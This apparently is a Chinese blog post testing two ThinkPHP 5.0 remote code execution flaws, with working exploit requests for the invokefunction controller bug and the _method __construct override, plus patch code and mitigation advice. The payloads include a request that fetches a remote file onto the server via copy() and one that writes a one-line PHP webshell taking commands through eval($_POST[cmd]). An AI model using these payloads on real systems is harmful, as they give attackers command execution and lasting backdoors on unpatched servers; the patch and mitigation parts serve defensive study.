ThinkPHP5.0 漏洞測試
自從ThinkPHP釋出漏洞更新檔以來,伺服器不知道多少次受到了批量掃描漏洞來抓取殭屍電腦的請求
雖然官方早已釋出更新檔,還是想試一下TP漏洞,測試兩個漏洞
一、全版本執行漏洞
<!-- GET -->
http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
由于對控制器名沒有明确的檢測,在沒有開啟強制路由的情況下,直接就可以執行phpinfo(),如果伺服器未限制shell等函數的執行,便可以直接執行shell提權

詳細的漏洞執行過程可以參考 漏洞執行過程
官方更新檔
加入正規表達式來限制控制器名
/* /thinkphp/library/think/App.php 555行 加入 */
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
二、_method漏洞
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter[]=system&method=GET&get[]=dir
觸發條件
//Config.php
'var_method' => '_method'
利用
$_POST['_method']
變量來傳遞真實的請求方法,當
$_POST['_method']=__construct
時,Request類的method方法便會将該類的變量進行覆寫,利用該方式将filter變量覆寫為system等函數名,當内部進行參數過濾時便會進行執行任意指令
基于此可以直接上傳PHP檔案 test.php
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown
生成一句話木馬
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123
可以在config.php将_method設定為其他字元,或者更新TP
官方更新檔中限制了_method可疑設定的請求方法,并在處理_method之後将其unset,無法再利用__construct進行變量覆寫
/* thinkphp/library/think/Request.php */
public function method($method = false)
{
if (true === $method) {
// 擷取原始請求類型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]); //unset
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}
參考文章:
https://www.cnblogs.com/st404/p/10245844.html
https://mrxn.net/Infiltration/618.html
https://www.cnblogs.com/nul1/p/11863574.html
https://www.vulnbug.com/amp/thkphp5x-code-execution-vulnerabilities-and-bypass.html
https://www.freebuf.com/vuls/194127.html